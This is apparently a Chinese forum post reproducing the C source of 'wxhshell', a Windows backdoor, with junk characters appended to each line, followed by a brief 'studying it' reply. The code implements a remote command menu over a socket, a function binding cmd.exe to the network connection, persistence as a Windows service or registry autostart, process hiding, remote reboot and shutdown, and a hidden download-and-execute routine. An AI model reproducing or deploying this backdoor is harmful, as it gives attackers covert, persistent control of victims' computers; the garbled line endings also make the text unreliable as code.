  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B)^]V<l(w  
  }  ITbl%q  
  else { pm)A*][s  
X#eVw|  
    switch(cmd[0]) { p3^7Hr  
  >{GC@Cw  
  // 帮助 lBh {8a|2W  
  case '?': { eW >k'ez  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OZt'ovY  
    break; t]vX9vv+D  
  } ;#xhlR* ~  
  // 安装 $h_@`j  
  case 'i': { n}MG  
    if(Install()) ,9+@\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'w9tZO\2  
    else ',1rW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xOu cZ+  
    break; 89 (k<m  
    } VJr?` eY4  
  // 卸载 SH}O?d\Q:  
  case 'r': { Y}f%/vus  
    if(Uninstall()) 2EE#60  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iwmXgsRa9}  
    else :EA,0 ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OB$A"XGAEV  
    break; tU)+q?Mw  
    } {n1o)MZ]R  
  // 显示 wxhshell 所在路径 'mmyzsQ \6  
  case 'p': { o-)E_X  
    char svExeFile[MAX_PATH]; iSFgFJG^  
    strcpy(svExeFile,"\n\r"); r2&{R!Fj`  
      strcat(svExeFile,ExeFile); 3{$c b"5  
        send(wsh,svExeFile,strlen(svExeFile),0); `pcjOM8u  
    break; 6(ja5)sn*  
    } .)W8 U [  
  // 重启 DDkO g]  
  case 'b': { MCYrsgg}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 45-pJf8F  
    if(Boot(REBOOT)) /-4%ug tD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<\m` Es=  
    else { @ObsW!g  
    closesocket(wsh); p(x[zn+%Y  
    ExitThread(0); fwl RwH(  
    } Pel3e ~?t  
    break; %HSoQ?qA  
    } aMj3ov8p  
  // 关机 \< z{ @  
  case 'd': { ]q?<fEG2<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cc^V~-ph  
    if(Boot(SHUTDOWN)) OK2wxf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|kYu[^  
    else { v1)jZ.:  
    closesocket(wsh); :W'1Q2  
    ExitThread(0); ^rxXAc[  
    } LL,~&5{  
    break; v=X\@27= ?  
    } oHa6fi  
  // 获取shell lv8tS-  
  case 's': { bo@1c0  
    CmdShell(wsh); (nV/-#*  
    closesocket(wsh); '{Ywb@Bc  
    ExitThread(0); ex29rL3  
    break; 0Z@u6{Z9R  
  } b1s1;8Q  
  // 退出 6w@l#p  
  case 'x': { 9h9Y:i*Gh5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #~ >0Dr  
    CloseIt(wsh); ?.~@lE  
    break;  kU#$  
    } U1&m-K  
  // 离开 ]*v%(IGK  
  case 'q': { l5@k8tnz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (2a~gQGD  
    closesocket(wsh); "2Ye\#BU6  
    WSACleanup(); D%BV83S   
    exit(1); fC81(5   
    break; 5SK.R;mn  
        } -$mzzYH  
  } <GR]A|P  
  } ZB%7Sr0  
w1iQ#.4K_  
  // 提示信息 9RAN$\AKy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pRYt.}/K  
} e+&/ Tq'2  
  } a Fl(K\  
EnfSVG8kB8  
  return; 2P]rJ  
} b)`<J @&{  
Pw+cpM 8<  
// shell模块句柄 i*F^;-q)  
int CmdShell(SOCKET sock) 3tgct <"  
{ tF=96u_X  
STARTUPINFO si; -o=qYkyLK  
ZeroMemory(&si,sizeof(si)); 1o.]"~0:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; = [:ruE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t/nu/yz5E  
PROCESS_INFORMATION ProcessInfo; >pn?~  
char cmdline[]="cmd"; [Si`pPvl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <ZCjQkka>r  
  return 0; $@DXS~UQA  
} !$&K~>`  
U?.VY@  
// 自身启动模式 ,@GI3bl  
int StartFromService(void) jagsV'o2  
{ =G*<WcR  
typedef struct m}8c.OJ>K`  
{ Thz&wH`W  
  DWORD ExitStatus; ]Wfnpqc^  
  DWORD PebBaseAddress; X4 xnr^  
  DWORD AffinityMask; `@eQL[Z9x  
  DWORD BasePriority; l$z-'  
  ULONG UniqueProcessId; V<(cW'zA/  
  ULONG InheritedFromUniqueProcessId; M`S >Q2{  
}   PROCESS_BASIC_INFORMATION; 6&h,eQ!  
B 6|=kl2C  
PROCNTQSIP NtQueryInformationProcess; bY]aADv\  
A.(Z0,S-i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m[%&K W(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X $J  
d+z8^$z"  
  HANDLE             hProcess; OCF= )#}qd  
  PROCESS_BASIC_INFORMATION pbi; a^|mF# z  
d)9=hp;,V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o2&mhT  
  if(NULL == hInst ) return 0; , @(lYeD"  
z!?xz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \iO ,y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ql^n=+U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h\:"k_u#  
7!z0)Ai_>=  
  if (!NtQueryInformationProcess) return 0; qJrK?:O;  
'BtvT[KM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j#.Aiy:,  
  if(!hProcess) return 0; _18) XR  
dd_n|x1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i. 6c;KU  
UG 9uNgzQ/  
  CloseHandle(hProcess); %n T!u!#  
0<nk>o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  iCa#OQ  
if(hProcess==NULL) return 0; "){"{~  
P;][i|x  
HMODULE hMod; T[q2quXgk  
char procName[255]; qN[U|3k  
unsigned long cbNeeded; 08cC rG  
~xkcQ{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -=@d2LY  
_KLKa/3  
  CloseHandle(hProcess); 8+^q9rLii  
RQ!kVM@  
if(strstr(procName,"services")) return 1; // 以服务启动 =J<3B H^m  
c7,p5[  
  return 0; // 注册表启动 Qne@Vf kA  
} bRfac/:}  
={B%qq  
// 主模块 9J$N5  
int StartWxhshell(LPSTR lpCmdLine) lE'2\kxI?  
{ /*i[MB  
  SOCKET wsl; KZ>cfv-&a  
BOOL val=TRUE; :tdN#m6&  
  int port=0; #8i DM5:EQ  
  struct sockaddr_in door; !%?O`+r  
:[kfWai#(  
  if(wscfg.ws_autoins) Install(); GO2mccIB  
#Ipi3  
port=atoi(lpCmdLine); Vo"Wr>F  
8,7^@[bzXx  
if(port<=0) port=wscfg.ws_port; Y;-$w|&P>  
E{k$4  
  WSADATA data; 9$$dSN\&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]{s0/(EA  
|6v $!wBi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A+de;&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @>cz$##`  
  door.sin_family = AF_INET; UQ c!"D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FC@h6 \+a  
  door.sin_port = htons(port); ?(0=+o(`  
qILb>#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  k{d]  
closesocket(wsl); N:x--,2  
return 1; [MhKR }a  
} w;W# 'pE  
]l>LU2 sx  
  if(listen(wsl,2) == INVALID_SOCKET) { %PM&`c98z7  
closesocket(wsl); "ngULpb{R  
return 1; !K*(# [  
} {7'Wi$^F  
  Wxhshell(wsl); }IEwGoDwNs  
  WSACleanup(); =h0vdi%{  
%;_94!(hC  
return 0; Xdh2  
cD6S;PSg  
} 2. '` mGu  
0xVw{k}1U  
// 以NT服务方式启动 =HMa<"-8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x<5ARK6\=  
{ %|j`z?i|  
DWORD   status = 0; y^Uh<L0M  
  DWORD   specificError = 0xfffffff; Kv0V`}<Yc  
lg"aB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v|\3FEu@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aKjP{Z0k$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5(>SFxz"t  
  serviceStatus.dwWin32ExitCode     = 0; ,2YZB*6h{  
  serviceStatus.dwServiceSpecificExitCode = 0; /| q .q  
  serviceStatus.dwCheckPoint       = 0; ysapvQN_6  
  serviceStatus.dwWaitHint       = 0; VWq]w5oQO  
' _d4[Olu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o1`\*]A7J  
  if (hServiceStatusHandle==0) return; I+=+ ,iXhB  
p<1y$=zS  
status = GetLastError(); `+z^#3l  
  if (status!=NO_ERROR) A]Bf&+V  
{ 5skxixG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m ww<Xm'  
    serviceStatus.dwCheckPoint       = 0; vAp<Muj(a  
    serviceStatus.dwWaitHint       = 0; <qg4Rz\c]  
    serviceStatus.dwWin32ExitCode     = status; J 2<kOXXJ9  
    serviceStatus.dwServiceSpecificExitCode = specificError; ijsoY\V50  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IjGPiC  
    return; pHT]2e#  
  } sYjhQN=Y*  
jr,N+K(@T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jc!m; U t  
  serviceStatus.dwCheckPoint       = 0; '2GnAws^  
  serviceStatus.dwWaitHint       = 0; nv0\On7wd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #u}%r{T  
} o^XDG^35`  
SQ_Je+X  
// 处理NT服务事件,比如:启动、停止 Q$uv \h;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kci. ,I  
{ WQ{[q" O  
switch(fdwControl) `78Bv>[A  
{ ~)^'5^  
case SERVICE_CONTROL_STOP: ;z.L^V0  
  serviceStatus.dwWin32ExitCode = 0; oNZ_7tU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dvZH~mF  
  serviceStatus.dwCheckPoint   = 0; (:aU"5M  
  serviceStatus.dwWaitHint     = 0; dgL>7X=7  
  { D/?Ec\ t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OvAhp&k  
  } +$|fUn{  
  return; W:,Wex^9n  
case SERVICE_CONTROL_PAUSE: K>dB{w#gS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; om`T/@_,  
  break; M?!@L:b[  
case SERVICE_CONTROL_CONTINUE: &\1n=y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jy5sZ }t[  
  break; W%4=x>J-  
case SERVICE_CONTROL_INTERROGATE: O&1qL)  
  break; J91[w?,  
}; E7t;p)x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7i*eKC`ZqK  
} d{"-iw)t  
;xZjt4M1  
// 标准应用程序主函数 HcgvlFb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TjyL])$  
{ "|h%Uy?XY  
- 8p!,+Dk  
// 获取操作系统版本 <%HRs>4  
OsIsNt=GetOsVer(); 4b:|>Z-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PVsKI<  
#,%7tXOLR  
  // 从命令行安装 7 !$[XD  
  if(strpbrk(lpCmdLine,"iI")) Install(); s{-gsSmE  
MF8-q'upyT  
  // 下载执行文件 =j62tDS  
if(wscfg.ws_downexe) { =5q<_as  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d=/0A\O  
  WinExec(wscfg.ws_filenam,SW_HIDE); J0?kEr  
} |M7cB$y  
P( hGkY=(  
if(!OsIsNt) { X_]rtG  
// 如果时win9x,隐藏进程并且设置为注册表启动 BH">#&j[  
HideProc(); O2?C *  
StartWxhshell(lpCmdLine); |'q%9 #  
} >#w;67he2  
else ZEAUoC1E1  
  if(StartFromService()) JVYH b 60Z  
  // 以服务方式启动 ;f =m+QXU  
  StartServiceCtrlDispatcher(DispatchTable); Ho>Np&  
else r-<O'^C  
  // 普通方式启动 HeOdCr-PN  
  StartWxhshell(lpCmdLine); x@t?7 o\&  
z3Q&O$5\  
return 0; .\n` 4A1z  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五